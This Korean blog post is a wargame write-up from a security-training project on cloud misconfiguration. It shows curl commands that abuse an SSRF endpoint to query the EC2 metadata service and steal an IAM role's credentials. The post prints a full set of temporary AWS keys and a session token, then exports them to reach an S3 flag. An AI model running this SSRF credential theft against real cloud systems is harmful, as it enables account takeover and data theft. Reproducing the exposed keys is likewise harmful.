https://github.com/mangnani-bob24/Mangnani
해당 워게임은 BoB 13기 프로젝트 기간에 제작하게 되었다.
시작은 금융권 망분리 규제완화 발표에 따라서 안전하게 SaaS와 생성형 AI 를 사용할 수 있는 방안을 제시하기 위해서였다.
해당 프로젝트의 일환으로, Cloud 환경에서 발생할 수 있는 CSA의 Top Threat 분류에 따른 클라우드 실습형 워게임을 제작하게 되었다.
팀 내에서 전체적인 워게임 구상이나 포괄적인 시나리오 구상을 맡았고, 내가 전적으로 맡은 CSA 위협분류는 1위, "Misconfiguration and inadequate change control." 였다.
따라서 이 포스팅에서는 해당 문제에 대한 풀이를 작성하려고한다!
해당 시나리오는 아래와 같은 순서로 문제풀이가 진행될 예정이다.
즉, metadata server로의 접근에 대한 잘못된 설정으로 S3 bucket 내 특정 객체에 대한 열람, 다운로드 권한을 악용하게 되는 시나리오 이다.
자세한 시나리오 리소스들이나 cheatsheet 등은 아래 링크를 통해서 볼 수 있다.
https://github.com/mangnani-bob24/Mangnani/tree/main/Misconfig
메타데이터 세부 정보 접근:
curl 명령어로 실행
instance-id
확인
curl "http://<EC2_PUBLIC_IP>:5000/fetch?url=http://169.254.169.254/latest/meta-data/instance-id"
curl "http://[52.195.82.56](http://43.206.38.35:5000/):5000/fetch?url=http://169.254.169.254/latest/meta-data/instance-id"
IAM 자격증명 확인:
- iam/security-credentials/
엔드포인트를 통해 IAM 역할의 자격증명을 획득:
```bash
curl "http://<EC2_PUBLIC_IP>:5000/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
curl "http://52.195.82.56:5000/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
```

IAM 자격증명 탈취
```python
curl "http://52.195.82.56:5000/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/misconfig-vulnEC2Role"
```
```python
❯ curl "http://52.195.82.56:5000/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/misconfig-vulnEC2Role"
{"code":200,"data":"{
\n \"Code\" : \"Success\",\n
\"LastUpdated\" : \"2024-12-09T15:30:46Z\",\n
\"Type\" : \"AWS-HMAC\",\n
\"AccessKeyId\" : \"ASIAYQYUBGUJ62WHAGH7\",\n
\"SecretAccessKey\" : \"JLcFs1yKVa5yUb0/Em9f+7tRqQQ5Pi41tsvrXnCy\",\n
\"Token\" : \"IQoJb3JpZ2luX2VjEL///////////wEaDmFwLW5vcnRoZWFzdC0xIkcwRQIhAMIOggkwOpW1q6h8IkZWvWrtt2PrP1n37nXepMhMUcZ0AiAzYLIXKChUE0Fu99lbZMoNvvOKFYdR1cOMhc4JVIYM/yrIBQh5EAAaDDU4NTc2ODE4NzE1NSIM16yz/q8KV/+iD0aNKqUFNlWnas+wauXgy4Nsyn3eN2cbgJsqv7uOHzVFo1BV/57xIA8BZ2KEOiR+mL1GKCL9HF63+Ly4o/dPciPiG/XRFwlmc2zRftLgKDFh+YJljkYZybwvZ2VvsndQhfv2Hs08kz2jAmPxCqPzG8jag1IEf0KvHw2SKUrZIM0YkjK1XTrENMPhTZAEvOUataOJv4fJpvyHja07hhKMyyQuAIG/Xi5cgD8XQNYDIJaKZYGHQetuaHvqSfmHF/08bbJ2caxG9aVdogN+EyLm0quSUiwHk0q0SPIqwE1+szWA2+GwUpX3NHBKTeEN6TXZZfbDMb/LqmllzTg19QCNASK82Eph3RC8mZaxvAkJjf+5oBT33RqCRjbbrayABD5iTsyKGv7vVkkfiLT7j/2/Ju1BKJ3Z0wuFS7MqvNKqG7E8OEdvP3gTzxQ4405oHDrWeuuIJTK2DqnqtVNOI3e+3PlhSI7mwy0I/ZO9qXCWrG2vPkZP+7tHb3XS9BgF/DIN/YjaA58r4ukkZJU4KL6dox+lKytpP386+grFe39AR+3aSBbY8wBKxSwbSZmtq9QlJOV0TFw7EbI3UYnh30A2vjL6VrTWSrz48SH8POB/ME6+0QkMd3klADaXuzmNZ36e7cIdUDW7b6KHhs4jQlLeVMWkevOnaSdHYtp9ECvKw3H+knDbwffx3QwO7g8fU2TWOWJUu9VJeOSC+a35aPvVzz5Z9R54Id2oQmfnJjFU9Pa5dT/WguJqcVl9T2sjVNv0xNT2GxObmI95lCr7luKMecJhXnGml/jjKTGQLn11salhR0nyaFYY4ltPanSmrt9UPobzduj7vi7oJRc4SMeuX1caYKHNLVL/4yqC8j0wLMdkV651Jde1hV5U4EntIuQZfNK4jLgMbgVm/iIwn5rcugY6sQEak7iizfJf5Qq+wbYGfZ7wyj274ioVioNxHxPn0IH1GNwOVH3pqGgMYae1hNdEjhTSVAbpQMSCmdP84lKQeKaw9JYXTNkzaSiB6Bam8IGCPxAX6gGbabq5HVgsvaLZQHVditL2YlFZ6AkrbyA58bCGeCRH+ZBj0Cicen3BbCen9cF+mQlifNzM3XbaddxFctD17K+s+dUijt28i+d82yIVA5X4Fz+r/ahZDWzRnDgh9kY=\",\n
\"Expiration\" : \"2024-12-09T22:05:39Z\"\n}","status":"success"}
```
IAM 자격증명까지 탈취 완료!
환경변수 사용하는 방법
export AWS_ACCESS_KEY_ID=ASIAYQYUBGUJ62WHAGH7
export AWS_SECRET_ACCESS_KEY=JLcFs1yKVa5yUb0/Em9f+7tRqQQ5Pi41tsvrXnCy
export AWS_SESSION_TOKEN=IQoJb3JpZ2luX2VjEL///////////wEaDmFw...
새로운 프로필 생성하는 방법
$ vi ~/.aws/credentials
위와 같이 Flag 파일을 열람하면, 시나리오가 종료된다.
(flag 는 마스킹 처리 했다.)